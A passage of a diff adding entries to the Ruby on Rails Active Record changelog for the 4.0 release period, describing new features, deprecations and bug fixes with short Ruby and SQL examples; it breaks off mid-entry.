+ *Neeraj Singh*
+
+* `belongs_to :touch` behavior now touches old association when
+ transitioning to new association.
+
+ class Passenger < ActiveRecord::Base
+ belongs_to :car, touch: true
+ end
+
+ car_1 = Car.create
+ car_2 = Car.create
+
+ passenger = Passenger.create car: car_1
+
+ passenger.car = car_2
+ passenger.save
+
+ Previously only car_2 would be touched. Now both car_1 and car_2
+ will be touched.
+
+ *Adam Gamble*
+
+* Extract and deprecate Firebird / Sqlserver / Oracle database tasks, because
+ These tasks should be supported by 3rd-party adapter.
+
+ *kennyj*
+
+* Allow `ActiveRecord::Base.connection_handler` to have thread affinity and be
+ settable, this effectively allows Active Record to be used in a multithreaded
+ setup with multiple connections to multiple databases.
+
+ *Sam Saffron*
+
+* `rename_column` preserves `auto_increment` in MySQL migrations.
+ Fixes #3493.
+
+ *Vipul A M*
+
+* PostgreSQL geometric type point is now supported by Active Record. Fixes #7324.
+
+ *Martin Schuerrer*
+
+* Add support for concurrent indexing in PostgreSQL adapter via the
+ `algorithm: :concurrently` option.
+
+ add_index(:people, :last_name, algorithm: :concurrently)
+
+ Also add support for MySQL index algorithms (`COPY`, `INPLACE`,
+ `DEFAULT`) via the `:algorithm` option.
+
+ add_index(:people, :last_name, algorithm: :copy) # or :inplace/:default
+
+ *Dan McClain*
+
+* Add support for fulltext and spatial indexes on MySQL tables with MyISAM database
+ engine via the `type: 'FULLTEXT'` / `type: 'SPATIAL'` option.
+
+ add_index(:people, :last_name, type: 'FULLTEXT')
+ add_index(:people, :last_name, type: 'SPATIAL')
+
+ *Ken Mazaika*
+
+* Add an `add_index` override in PostgreSQL adapter and MySQL adapter
+ to allow custom index type support.
+ Fixes #6101.
+
+ add_index(:wikis, :body, :using => 'gin')
+
+ *Stefan Huber* and *Doabit*
+
+* After extraction of mass-assignment attributes (which protects [id, type]
+ by default) we can pass id to `update_attributes` and it will update
+ another record because id will be used in where statement. We never have
+ to change id in where statement because we try to set/replace fields for
+ already loaded record but we have to try to set new id for that record.
+
+ *Dmitry Vorotilin*
+
+* Models with multiple counter cache associations now update correctly on destroy.
+ See #7706.
+
+ *Ian Young*
+
+* If `:inverse_of` is true on an association, then when one calls `find()` on
+ the association, Active Record will first look through the in-memory objects
+ in the association for a particular id. Then, it will go to the DB if it
+ is not found. This is accomplished by calling `find_by_scan` in
+ collection associations whenever `options[:inverse_of]` is not nil.
+ Fixes #9470.
+
+ *John Wang*
+
+* `rake db:create` does not change permissions of the MySQL root user.
+ Fixes #8079.
+
+ *Yves Senn*
+
+* The length of the `version` column in the `schema_migrations` table
+ created by the `mysql2` adapter is 191 if the encoding is "utf8mb4".
+
+ The "utf8" encoding in MySQL has support for a maximum of 3 bytes per character,
+ and only contains characters from the BMP. The recently added
+ [utf8mb4](http://dev.mysql.com/doc/refman/5.5/en/charset-unicode-utf8mb4.html)
+ encoding extends the support to four bytes. As of this writing, said encoding
+ is supported in the betas of the `mysql2` gem.
+
+ Setting the encoding to "utf8mb4" has
+ [a few implications](http://dev.mysql.com/doc/refman/5.5/en/charset-unicode-upgrading.html).
+ This change addresses the max length for indexes, which is 191 instead of 255.
+
+ *Xavier Noria*
+
+* Counter caches on associations will now stay valid when attributes are
+ updated (not just when records are created or destroyed), for example,
+ when calling `update_attributes`. The following code now works:
+
+ class Comment < ActiveRecord::Base
+ belongs_to :post, counter_cache: true
+ end
+
+ class Post < ActiveRecord::Base
+ has_many :comments
+ end
+
+ post = Post.create
+ comment = Comment.create
+
+ post.comments << comment
+ post.save.reload.comments_count # => 1
+ comment.update_attributes(post_id: nil)
+
+ post.save.reload.comments_count # => 0
+
+ Updating the id of a `belongs_to` object with the id of a new object will
+ also keep the count accurate.
+
+ *John Wang*
+
+* Referencing join tables implicitly was deprecated. There is a
+ possibility that these deprecation warnings are shown even if you
+ don't make use of that feature. You can now disable the feature entirely.
+ Fixes #9712.
+
+ Example:
+
+ # in your configuration
+ config.active_record.disable_implicit_join_references = true
+
+ # or directly
+ ActiveRecord::Base.disable_implicit_join_references = true
+
+ *Yves Senn*
+
+* The `:distinct` option for `Relation#count` is deprecated. You
+ should use `Relation#distinct` instead.
+
+ Example:
+
+ # Before
+ Post.select(:author_name).count(distinct: true)
+
+ # After
+ Post.select(:author_name).distinct.count
+
+ *Yves Senn*
+
+* Rename `Relation#uniq` to `Relation#distinct`. `#uniq` is still
+ available as an alias but we encourage to use `#distinct` instead.
+ Also `Relation#uniq_value` is aliased to `Relation#distinct_value`,
+ this is a temporary solution and you should migrate to `distinct_value`.
+
+ *Yves Senn*
+
+* Fix quoting for sqlite migrations using `copy_table_contents` with binary
+ columns.
+
+ These would fail with "SQLite3::SQLException: unrecognized token" because
+ the column was not being passed to `quote` so the data was not quoted
+ correctly.
+
+ *Matthew M. Boedicker*
+
+* Promotes `change_column_null` to the migrations API. This macro sets/removes
+ `NOT NULL` constraints, and accepts an optional argument to replace existing
+ `NULL`s if needed. The adapters for SQLite, MySQL, PostgreSQL, and (at least)
+ Oracle, already implement this method.
+
+ *Xavier Noria*
+
+* Uniqueness validation allows you to pass `:conditions` to limit
+ the constraint lookup.
+
+ Example:
+
+ validates_uniqueness_of :title, conditions: -> { where('approved = ?', true) }
+
+ *Mattias Pfeiffer + Yves Senn*
+
+* `connection` is deprecated as an instance method.
+ This allows end-users to have a `connection` method on their models
+ without clashing with Active Record internals.
+
+ *Ben Moss*
+
+* When copying migrations, preserve their magic comments and content encoding.
+
+ *OZAWA Sakuro*
+
+* Fix `subclass_from_attrs` when `eager_load` is false. It cannot find
+ subclass because all classes are loaded automatically when it needs.
+
+ *Dmitry Vorotilin*
+
+* When `:name` option is provided to `remove_index`, use it if there is no
+ index by the conventional name.
+
+ For example, previously if an index was removed like so
+ `remove_index :values, column: :value, name: 'a_different_name'`
+ the generated SQL would not contain the specified index name,
+ and hence the migration would fail.
+ Fixes #8858.
+
+ *Ezekiel Smithburg*
+
+* Created block to by-pass the prepared statement bindings.
+ This will allow to compose fragments of large SQL statements to
+ avoid multiple round-trips between Ruby and the DB.
+
+ Example:
+
+ sql = Post.connection.unprepared_statement do
+ Post.first.comments.to_sql
+ end
+
+ *Cédric Fabianski*
+
+* Change the semantics of combining scopes to be the same as combining
+ class methods which return scopes. For example:
+
+ class User < ActiveRecord::Base
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+ end
+
+ class Post < ActiveRecord::Base
+ def self.active
+ where state: 'active'
+ end
+
+ def self.inactive
+ where state: 'inactive'
+ end
+ end
+
+ ### BEFORE ###
+
+ User.where(state: 'active').where(state: 'inactive')
+ # => SELECT * FROM users WHERE state = 'active' AND state = 'inactive'
+
+ User.active.inactive
+ # => SELECT * FROM users WHERE state = 'inactive'
+
+ Post.active.inactive
+ # => SELECT * FROM posts WHERE state = 'active' AND state = 'inactive'
+
+ ### AFTER ###
+
+ User.active.inactive
+ # => SELECT * FROM posts WHERE state = 'active' AND state = 'inactive'
+
+ Before this change, invoking a scope would merge it into the current
+ scope and return the result. `Relation#merge` applies "last where
+ wins" logic to de-duplicate the conditions, but this lead to
+ confusing and inconsistent behaviour. This fixes that.
+
+ If you really do want the "last where wins" logic, you can opt-in to
+ it like so:
+
+ User.active.merge(User.inactive)
+
+ Fixes #7365.
+
+ *Neeraj Singh* and *Jon Leighton*
+
+* Expand `#cache_key` to consult all relevant updated timestamps.
+
+ Previously only `updated_at` column was checked, now it will
+ consult other columns that received updated timestamps on save,
+ such as `updated_on`. When multiple columns are present it will
+ use the most recent timestamp.
+ Fixes #9033.
+
+ *Brendon Murphy*
+
+* Throw `NotImplementedError` when trying to instantiate `ActiveRecord::Base` or an abstract class.
+
+ *Aaron Weiner*
+
+* Warn when `rake db:structure:dump` with a MySQL database and
+ `mysqldump` is not in the PATH or fails.
+ Fixes #9518.
+
+ *Yves Senn*
+
+* Remove `connection#structure_dump`, which is no longer used. *Yves Senn*
+
+* Make it possible to execute migrations without a transaction even
+ if the database adapter supports DDL transactions.
+ Fixes #9483.
+
+ Example:
+
+ class ChangeEnum < ActiveRecord::Migration
+ disable_ddl_transaction!
+
+ def up
+ execute "ALTER TYPE model_size ADD VALUE 'new_value'"
+ end
+ end
+
+ *Yves Senn*
+
+* Assigning "0.0" to a nullable numeric column does not make it dirty.
+ Fixes #9034.
+
+ Example:
+
+ product = Product.create price: 0.0
+ product.price = '0.0'
+ product.changed? # => false (this used to return true)
+ product.changes # => {} (this used to return { price: [0.0, 0.0] })
+
+ *Yves Senn*
+
+* Added functionality to unscope relations in a relations chain. For
+ instance, if you are passed in a chain of relations as follows:
+
+ User.where(name: "John").order('id DESC')
+
+ but you want to get rid of order, then this feature allows you to do:
+
+ User.where(name: "John").order('id DESC').unscope(:order)
+ == User.where(name: "John")
+
+ The .unscope() function is more general than the .except() method because
+ .except() only works on the relation it is acting on. However, .unscope()
+ works for any relation in the entire relation chain.
+
+ *John Wang*
+
+* PostgreSQL timestamp with time zone (timestamptz) datatype now returns a
+ ActiveSupport::TimeWithZone instance instead of a string
+
+ *Troy Kruthoff*
+
+* The `#append` method for collection associations behaves like`<<`.
+ `#prepend` is not defined and `<<` or `#append` should be used.
+ Fixes #7364.
+
+ *Yves Senn*
+
+* Added support for creating a table via Rails migration generator.
+ For example,
+
+ rails g migration create_books title:string content:text
+
+ will generate a migration that creates a table called books with
+ the listed attributes, without creating a model.
+
+ *Sammy Larbi*
+
+* Fix bug that raises the wrong exception when the exception handled by PostgreSQL adapter
+ doesn't respond to `#result`.
+ Fixes #8617.
+
+ *kennyj*
+
+* Support PostgreSQL specific column types when using `change_table`.
+ Fixes #9480.
+
+ Example:
+
+ change_table :authors do |t|
+ t.hstore :books
+ t.json :metadata
+ end
+
+ *Yves Senn*
+
+* Revert 408227d9c5ed7d, 'quote numeric'. This introduced some regressions.
+
+ *Steve Klabnik*
+
+* Fix calculation of `db_runtime` property in
+ `ActiveRecord::Railties::ControllerRuntime#cleanup_view_runtime`.
+ Previously, after raising `ActionView::MissingTemplate`, `db_runtime` was
+ not populated.
+ Fixes #9215.
+
+ *Igor Fedoronchuk*
+
+* Do not try to touch invalid (and thus not persisted) parent record
+ for a `belongs_to :parent, touch: true` association
+
+ *Olek Janiszewski*
+
+* Fix when performing an ordered join query. The bug only
+ affected queries where the order was given with a symbol.
+ Fixes #9275.
+
+ Example:
+
+ # This will expand the order :name to "authors".name.
+ Author.joins(:books).where('books.published = 1').order(:name)
+
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Fix overriding of attributes by `default_scope` on `ActiveRecord::Base#dup`.
+
+ *Hiroshige UMINO*
+
+* Update queries now use prepared statements.
+
+ *Olli Rissanen*
+
+* Fixing issue #8345. Now throwing an error when one attempts to touch a
+ new object that has not yet been persisted. For instance:
+
+ Example:
+
+ ball = Ball.new
+ ball.touch :updated_at # => raises error
+
+ It is not until the ball object has been persisted that it can be touched.
+ This follows the behavior of update_column.
+
+ *John Wang*
+
+* Preloading ordered `has_many :through` associations no longer applies
+ invalid ordering to the `:through` association.
+ Fixes #8663.
+
+ *Yves Senn*
+
+* The auto explain feature has been removed. This feature was
+ activated by configuring `config.active_record.auto_explain_threshold_in_seconds`.
+ The configuration option was deprecated and has no more effect.
+
+ You can still use `ActiveRecord::Relation#explain` to see the EXPLAIN output for
+ any given relation.
+
+ *Yves Senn*
+
+* The `:on` option for `after_commit` and `after_rollback` now
+ accepts an Array of actions.
+ Fixes #988.
+
+ Example:
+
+ after_commit :update_cache on: [:create, :update]
+
+ *Yves Senn*
+
+* Rename related indexes on `rename_table` and `rename_column`. This
+ does not affect indexes with custom names.
+
+ *Yves Senn*
+
+* Prevent the creation of indices with too long names, which cause
+ internal operations to fail (sqlite3 adapter only). The method
+ `allowed_index_name_length` defines the length limit enforced by
+ rails. It's value defaults to `index_name_length` but can vary per adapter.
+ Fixes #8264.
+
+ *Yves Senn*
+
+* Fixing issue #776.
+
+ Memory bloat in transactions is handled by having the transaction hold only
+ the AR objects which it absolutely needs to know about. These are the AR
+ objects with callbacks (they need to be updated as soon as something in the
+ transaction occurs).
+
+ All other AR objects can be updated lazily by keeping a reference to a
+ TransactionState object. If an AR object gets inside a transaction, then
+ the transaction will add its TransactionState to the AR object. When the
+ user makes a call to some attribute on an AR object (which has no
+ callbacks) associated with a transaction, the AR object will call the
+ sync_with_transaction_state method and make sure it is up to date with the
+ transaction. After it has synced with the transaction state, the AR object
+ will return the attribute that was requested.
+
+ Most of the logic in the changes are used to handle multiple transactions,
+ in which case the AR object has to recursively follow parent pointers of
+ TransactionState objects.
+
+ *John Wang*
+
+* Descriptive error message when the necessary AR adapter gem was not found.
+ Fixes #7313.
+
+ *Yves Senn*
+
+* Active Record now raises an error when blank arguments are passed to query
+ methods for which blank arguments do not make sense.
+
+ Example:
+
+ Post.includes() # => raises error
+
+ *John Wang*
+
+* Simplified type casting code for timezone aware attributes to use the
+ `in_time_zone` method if it is available. This introduces a subtle change
+ of behavior when using `Date` instances as they are directly converted to
+ `ActiveSupport::TimeWithZone` instances without first being converted to
+ `Time` instances. For example:
+
+ # Rails 3.2 behavior
+ >> Date.today.to_time.in_time_zone
+ => Wed, 13 Feb 2013 07:00:00 UTC +00:00
+
+ # Rails 4.0 behavior
+ >> Date.today.in_time_zone
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+
+ On the plus side it now behaves the same whether you pass a `String` date
+ or an actual `Date` instance. For example:
+
+ # Rails 3.2 behavior
+ >> Date.civil(2013, 2, 13).to_time.in_time_zone
+ => Wed, 13 Feb 2013 07:00:00 UTC +00:00
+ >> Time.zone.parse("2013-02-13")
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+
+ # Rails 4.0 behavior
+ >> Date.civil(2013, 2, 13).in_time_zone
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+ >> "2013-02-13".in_time_zone
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+
+ If you need the old behavior you can convert the dates to times manually.
+ For example:
+
+ >> Post.new(created_at: Date.today).created_at
+ => Wed, 13 Feb 2013 00:00:00 UTC +00:00
+
+ >> Post.new(created_at: Date.today.to_time).created_at
+ => Wed, 13 Feb 2013 07:00:00 UTC +00:00
+
+ *Andrew White*
+
+* Preloading `has_many :through` associations with conditions won't
+ cache the `:through` association. This will prevent invalid
+ subsets to be cached.
+ Fixes #8423.
+
+ Example:
+
+ class User
+ has_many :posts
+ has_many :recent_comments, -> { where('created_at > ?', 1.week.ago) }, :through => :posts
+ end
+
+ a_user = User.includes(:recent_comments).first
+
+ # This is preloaded.
+ a_user.recent_comments
+
+ # This is not preloaded, fetched now.
+ a_user.posts
+
+ *Yves Senn*
+
+* Don't run `after_commit` callbacks when creating through an association
+ if saving the record fails.
+
+ *James Miller*
+
+* Allow store accessors to be overridden like other attribute methods, e.g.:
+
+ class User < ActiveRecord::Base
+ store :settings, accessors: [ :color, :homepage ], coder: JSON
+
+ def color
+ super || 'red'
+ end
+ end
+
+ *Sergey Nartimov*
+
+* Quote numeric values being compared to non-numeric columns. Otherwise,
+ in some database, the string column values will be coerced to a numeric
+ allowing 0, 0.0 or false to match any string starting with a non-digit.
+
+ Example:
+
+ App.where(apikey: 0) # => SELECT * FROM users WHERE apikey = '0'
+
+ *Dylan Smith*
+
+* Schema dumper supports dumping the enabled database extensions to `schema.rb`
+ (currently only supported by PostgreSQL).
+
+ *Justin George*
+
+* The database adapters now converts the options passed thought `DATABASE_URL`
+ environment variable to the proper Ruby types before using. For example, SQLite requires
+ that the timeout value is an integer, and PostgreSQL requires that the
+ prepared_statements option is a boolean. These now work as expected:
+
+ Example:
+
+ DATABASE_URL=sqlite3://localhost/test_db?timeout=500
+ DATABASE_URL=postgresql://localhost/test_db?prepared_statements=false
+
+ *Aaron Stone + Rafael Mendonça França*
+
+* `Relation#merge` now only overwrites where values on the LHS of the
+ merge. Consider:
+
+ left = Person.where(age: [13, 14, 15])
+ right = Person.where(age: [13, 14]).where(age: [14, 15])
+
+ `left` results in the following SQL:
+
+ WHERE age IN (13, 14, 15)
+
+ `right` results in the following SQL:
+
+ WHERE age IN (13, 14) AND age IN (14, 15)
+
+ Previously, `left.merge(right)` would result in all but the last
+ condition being removed:
+
+ WHERE age IN (14, 15)
+
+ Now it results in the LHS condition(s) for `age` being removed, but
+ the RHS remains as it is:
+
+ WHERE age IN (13, 14) AND age IN (14, 15)
+
+ *Jon Leighton*
+
+* Fix handling of dirty time zone aware attributes
+
+ Previously, when `time_zone_aware_attributes` were enabled, after
+ changing a datetime or timestamp attribute and then changing it back
+ to the original value, `changed_attributes` still tracked the
+ attribute as changed. This caused `[attribute]_changed?` and
+ `changed?` methods to return true incorrectly.
+
+ Example:
+
+ in_time_zone 'Paris' do
+ order = Order.new
+ original_time = Time.local(2012, 10, 10)
+ order.shipped_at = original_time
+ order.save
+ order.changed? # => false
+
+ # changing value
+ order.shipped_at = Time.local(2013, 1, 1)
+ order.changed? # => true
+
+ # reverting to original value
+ order.shipped_at = original_time
+ order.changed? # => false, used to return true
+ end
+
+ *Lilibeth De La Cruz*
+
+* When `#count` is used in conjunction with `#uniq` we perform `count(:distinct => true)`.
+ Fixes #6865.
+
+ Example:
+
+ relation.uniq.count # => SELECT COUNT(DISTINCT *)
+
+ *Yves Senn + Kaspar Schiess*
+
+* PostgreSQL ranges type support. Includes: int4range, int8range,
+ numrange, tsrange, tstzrange, daterange
+
+ Ranges can be created with inclusive and exclusive bounds.
+
+ Example:
+
+ create_table :Room do |t|
+ t.daterange :availability
+ end
+
+ Room.create(availability: (Date.today..Float::INFINITY))
+ Room.first.availability # => Wed, 19 Sep 2012..Infinity
+
+ One thing to note: Range class does not support exclusive lower
+ bound.
+
+ *Alexander Grebennik*
+
+* Added a state instance variable to each transaction. Will allow other objects
+ to know whether a transaction has been committed or rolled back.
+
+ *John Wang*
+
+* Collection associations `#empty?` always respects built records.
+ Fixes #8879.
+
+ Example:
+
+ widget = Widget.new
+ widget.things.build
+ widget.things.empty? # => false
+
+ *Yves Senn*
+
+* Support for PostgreSQL's `ltree` data type.
+
+ *Rob Worley*
+
+* Fix undefined method `to_i` when calling `new` on a scope that uses an
+ Array; Fix FloatDomainError when setting integer column to NaN.
+ Fixes #8718, #8734, #8757.
+
+ *Jason Stirk + Tristan Harward*
+
+* Rename `update_attributes` to `update`, keep `update_attributes` as an alias for `update` method.
+ This is a soft-deprecation for `update_attributes`, although it will still work without any
+ deprecation message in 4.0 is recommended to start using `update` since `update_attributes` will be
+ deprecated and removed in future versions of Rails.
+
+ *Amparo Luna + Guillermo Iguaran*
+
+* `after_commit` and `after_rollback` now validate the `:on` option and raise an `ArgumentError`
+ if it is not one of `:create`, `:destroy` or `:update`
+
+ *Pascal Friederich*
+
+* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary.
+
+ * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given.
+ The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not reversible).
+ The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
+
+ * New method `reversible` makes it possible to specify code to be run when migrating up or down.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#using-the-reversible-method)
+
+ * New method `revert` will revert a whole migration or the given block.
+ If migrating down, the given migration / block is run normally.
+ See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#reverting-previous-migrations)
+
+ Attempting to revert the methods `execute`, `remove_columns` and `change_column` will now
+ raise an `IrreversibleMigration` instead of actually executing them without any output.
+
+ *Marc-André Lafortune*
+
+* Serialized attributes can be serialized in integer columns.
+ Fixes #8575.
+
+ *Rafael Mendonça França*
+
+* Keep index names when using `alter_table` with sqlite3.
+ Fixes #3489.
+
+ *Yves Senn*
+
+* Add ability for PostgreSQL adapter to disable user triggers in `disable_referential_integrity`.
+ Fixes #5523.
+
+ *Gary S. Weaver*
+
+* Added support for `validates_uniqueness_of` in PostgreSQL array columns.
+ Fixes #8075.
+
+ *Pedro Padron*
+
+* Allow int4range and int8range columns to be created in PostgreSQL and properly convert to/from database.
+
+ *Alexey Vasiliev aka leopard*
+
+* Do not log the binding values for binary columns.
+
+ *Matthew M. Boedicker*
+
+* Fix counter cache columns not updated when replacing `has_many :through`
+ associations.
+
+ *Matthew Robertson*
+
+* Recognize migrations placed in directories containing numbers and 'rb'.
+ Fixes #8492.
+
+ *Yves Senn*
+
+* Add `ActiveRecord::Base.cache_timestamp_format` class attribute to control
+ the format of the timestamp value in the cache key. Defaults to `:nsec`.
+ Fixes #8195.
+
+ *Rafael Mendonça França*
+
+* Session variables can be set for the `mysql`, `mysql2`, and `postgresql` adapters
+ in the `variables: <hash>` parameter in `config/database.yml`. The key-value pairs of this
+ hash will be sent in a `SET key = value` query on new database connections. See also:
+ http://dev.mysql.com/doc/refman/5.0/en/set-statement.html
+ http://www.postgresql.org/docs/8.3/static/sql-set.html
+
+ *Aaron Stone*
+
+* Allow `Relation#where` with no arguments to be chained with new `not` query method.
+
+ Example:
+
+ Developer.where.not(name: 'Aaron')
+
+ *Akira Matsuda*
+
+* Unscope `update_column(s)` query to ignore default scope.
+
+ When applying `default_scope` to a class with a where clause, using
+ `update_column(s)` could generate a query that would not properly update
+ the record due to the where clause from the `default_scope` being applied
+ to the update query.
+
+ class User < ActiveRecord::Base
+ default_scope -> { where(active: true) }
+ end
+
+ user = User.first
+ user.active = false
+ user.save!
+
+ user.update_column(:active, true) # => false
+
+ In this situation we want to skip the default_scope clause and just
+ update the record based on the primary key. With this change:
+
+ user.update_column(:active, true) # => true
+
+ Fixes #8436.
+
+ *Carlos Antonio da Silva*
+
+* SQLite adapter no longer corrupts binary data if the data contains `%00`.
+
+ *Chris Feist*
+
+* Fix performance problem with `primary_key` method in PostgreSQL adapter when having many schemas.
+ Uses `pg_constraint` table instead of `pg_depend` table which has many records in general.
+ Fixes #8414.
+
+ *kennyj*
+
+* Do not instantiate intermediate Active Record objects when eager loading.
+ These records caused `after_find` to run more than expected.
+ Fixes #3313.
+
+ *Yves Senn*
+
+* Add STI support to init and building associations.
+ Allows you to do `BaseClass.new(type: "SubClass")` as well as
+ `parent.children.build(type: "SubClass")` or `parent.build_child`
+ to initialize an STI subclass. Ensures that the class name is a
+ valid class and that it is in the ancestors of the super class
+ that the association is expecting.
+
+ *Jason Rush*
+
+* Observers was extracted from Active Record as `rails-observers` gem.
+
+ *Rafael Mendonça França*
+
+* Ensure that associations take a symbol argument. *Steve Klabnik*
+
+* Fix dirty attribute checks for `TimeZoneConversion` with nil and blank
+ datetime attributes. Setting a nil datetime to a blank string should not
+ result in a change being flagged.
+ Fixes #8310.
+
+ *Alisdair McDiarmid*
+
+* Prevent mass assignment to the type column of polymorphic associations when using `build`
+ Fixes #8265.
+
+ *Yves Senn*
+
+* Deprecate calling `Relation#sum` with a block. To perform a calculation over
+ the array result of the relation, use `to_a.sum(&block)`.
+
+ *Carlos Antonio da Silva*
+
+* Fix PostgreSQL adapter to handle BC timestamps correctly
+
+ HistoryEvent.create!(name: "something", occured_at: Date.new(0) - 5.years)
+
+ *Bogdan Gusiev*
+
+* When running migrations on PostgreSQL, the `:limit` option for `binary` and `text` columns is silently dropped.
+ Previously, these migrations caused sql exceptions, because PostgreSQL doesn't support limits on these types.
+
+ *Victor Costan*
+
+* Don't change STI type when calling `ActiveRecord::Base#becomes`.
+ Add `ActiveRecord::Base#becomes!` with the previous behavior.
+
+ See #3023 for more information.
+
+ *Thomas Hollstegge*
+
+* `rename_index` can be used inside a `change_table` block.
+
+ change_table :accounts do |t|
+ t.rename_index :user_id, :account_id
+ end
+
+ *Jarek Radosz*
+
+* `#pluck` can be used on a relation with `select` clause. Fix #7551
+
+ Example:
+
+ Topic.select([:approved, :id]).order(:id).pluck(:id)
+
+ *Yves Senn*
+
+* Do not create useless database transaction when building `has_one` association.
+
+ Example:
+
+ User.has_one :profile
+ User.new.build_profile
+
+ *Bogdan Gusiev*
+
+* `:counter_cache` option for `has_many` associations to support custom named counter caches.
+ Fixes #7993.
+
+ *Yves Senn*
+
+* Deprecate the possibility to pass a string as third argument of `add_index`.
+ Pass `unique: true` instead.
+
+ add_index(:users, :organization_id, unique: true)
+
+ *Rafael Mendonça França*
+
+* Raise an `ArgumentError` when passing an invalid option to `add_index`.
+
+ *Rafael Mendonça França*
+
+* Fix `find_in_batches` crashing when IDs are strings and start option is not specified.
+
+ *Alexis Bernard*
+
+* `AR::Base#attributes_before_type_cast` now returns unserialized values for serialized attributes.
+
+ *Nikita Afanasenko*
+
+* Use query cache/uncache when using `DATABASE_URL`.
+ Fixes #6951.
+
+ *kennyj*
+
+* Fix bug where `update_columns` and `update_column` would not let you update the primary key column.
+
+ *Henrik Nyh*
+
+* The `create_table` method raises an `ArgumentError` when the primary key column is redefined.
+ Fixes #6378.
+
+ *Yves Senn*
+
+* `ActiveRecord::AttributeMethods#[]` raises `ActiveModel::MissingAttributeError`
+ error if the given attribute is missing. Fixes #5433.
+
+ class Person < ActiveRecord::Base
+ belongs_to :company
+ end
+
+ # Before:
+ person = Person.select('id').first
+ person[:name] # => nil
+ person.name # => ActiveModel::MissingAttributeError: missing_attribute: name
+ person[:company_id] # => nil
+ person.company # => nil
+
+ # After:
+ person = Person.select('id').first
+ person[:name] # => ActiveModel::MissingAttributeError: missing_attribute: name
+ person.name # => ActiveModel::MissingAttributeError: missing_attribute: name
+ person[:company_id] # => ActiveModel::MissingAttributeError: missing_attribute: company_id
+ person.company # => ActiveModel::MissingAttributeError: missing_attribute: company_id
+
+ *Francesco Rodriguez*
+
+* Small binary fields use the `VARBINARY` MySQL type, instead of `TINYBLOB`.
+
+ *Victor Costan*
+
+* Decode URI encoded attributes on database connection URLs.
+
+ *Shawn Veader*
+
+* Add `find_or_create_by`, `find_or_create_by!` and
+ `find_or_initialize_by` methods to `Relation`.
+
+ These are similar to the `first_or_create` family of methods, but
+ the behaviour when a record is created is slightly different:
+
+ User.where(first_name: 'Penélope').first_or_create
+
+ will execute:
+
+ User.where(first_name: 'Penélope').create
+
+ Causing all the `create` callbacks to execute within the context of
+ the scope. This could affect queries that occur within callbacks.
+
+ User.find_or_create_by(first_name: 'Penélope')
+
+ will execute:
+
+ User.create(first_name: 'Penélope')
+
+ Which obviously does not affect the scoping of queries within
+ callbacks.
+
+ The `find_or_create_by` version also reads better, frankly.
+
+ If you need to add extra attributes during create, you can do one of:
+
+ User.create_with(active: true).find_or_create_by(first_name: 'Jon')
+ User.find_or_create_by(first_name: 'Jon') { |u| u.active = true }
+
+ The `first_or_create` family of methods have been nodoc'ed in favour
+ of this API. They may be deprecated in the future but their
+ implementation is very small and it's probably not worth putting users
+ through lots of annoying deprecation warnings.
+
+ *Jon Leighton*
+
+* Fix bug with presence validation of associations. Would incorrectly add duplicated errors
+ when the association was blank. Bug introduced in 1fab518c6a75dac5773654646eb724a59741bc13.
+
+ *Scott Willson*
+
+* Fix bug where sum(expression) returns string '0' for no matching records.
+ Fixes #7439
+
+ *Tim Macfarlane*
+
+* PostgreSQL adapter correctly fetches default values when using multiple schemas and domains in a db. Fixes #7914
+
+ *Arturo Pie*
+
+* Learn ActiveRecord::QueryMethods#order work with hash arguments
+
+ When symbol or hash passed we convert it to Arel::Nodes::Ordering.
+ If we pass invalid direction(like name: :DeSc) ActiveRecord::QueryMethods#order will raise an exception
+
+ User.order(:name, email: :desc)
+ # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
+
+ *Tima Maslyuchenko*
+
+* Rename `ActiveRecord::Fixtures` class to `ActiveRecord::FixtureSet`.
+ Instances of this class normally hold a collection of fixtures (records)
+ loaded either from a single YAML file, or from a file and a folder
+ with the same name. This change make the class name singular and makes
+ the class easier to distinguish from the modules like
+ `ActiveRecord::TestFixtures`, which operates on multiple fixture sets,
+ or `DelegatingFixtures`, `::Fixtures`, etc.,
+ and from the class `ActiveRecord::Fixture`, which corresponds to a single
+ fixture.
+
+ *Alexey Muranov*
+
+* The postgres adapter now supports tables with capital letters.
+ Fixes #5920.
+
+ *Yves Senn*
+
+* `CollectionAssociation#count` returns `0` without querying if the
+ parent record is not persisted.
+
+ Before:
+
+ person.pets.count
+ # SELECT COUNT(*) FROM "pets" WHERE "pets"."person_id" IS NULL
+ # => 0
+
+ After:
+
+ person.pets.count
+ # fires without sql query
+ # => 0
+
+ *Francesco Rodriguez*
+
+* Fix `reset_counters` crashing on `has_many :through` associations.
+ Fixes #7822.
+
+ *lulalala*
+
+* Support for partial inserts.
+
+ When inserting new records, only the fields which have been changed
+ from the defaults will actually be included in the INSERT statement.
+ The other fields will be populated by the database.
+
+ This is more efficient, and also means that it will be safe to
+ remove database columns without getting subsequent errors in running
+ app processes (so long as the code in those processes doesn't
+ contain any references to the removed column).
+
+ The `partial_updates` configuration option is now renamed to
+ `partial_writes` to reflect the fact that it now impacts both inserts
+ and updates.
+
+ *Jon Leighton*
+
+* Allow before and after validations to take an array of lifecycle events
+
+ *John Foley*
+
+* Support for specifying transaction isolation level
+
+ If your database supports setting the isolation level for a transaction, you can set
+ it like so:
+
+ Post.transaction(isolation: :serializable) do
+ # ...
+ end
+
+ Valid isolation levels are:
+
+ * `:read_uncommitted`
+ * `:read_committed`
+ * `:repeatable_read`
+ * `:serializable`
+
+ You should consult the documentation for your database to understand the
+ semantics of these different levels:
+
+ * http://www.postgresql.org/docs/9.1/static/transaction-iso.html
+ * https://dev.mysql.com/doc/refman/5.0/en/set-transaction.html
+
+ An `ActiveRecord::TransactionIsolationError` will be raised if:
+
+ * The adapter does not support setting the isolation level
+ * You are joining an existing open transaction
+ * You are creating a nested (savepoint) transaction
+
+ The mysql, mysql2 and postgresql adapters support setting the transaction
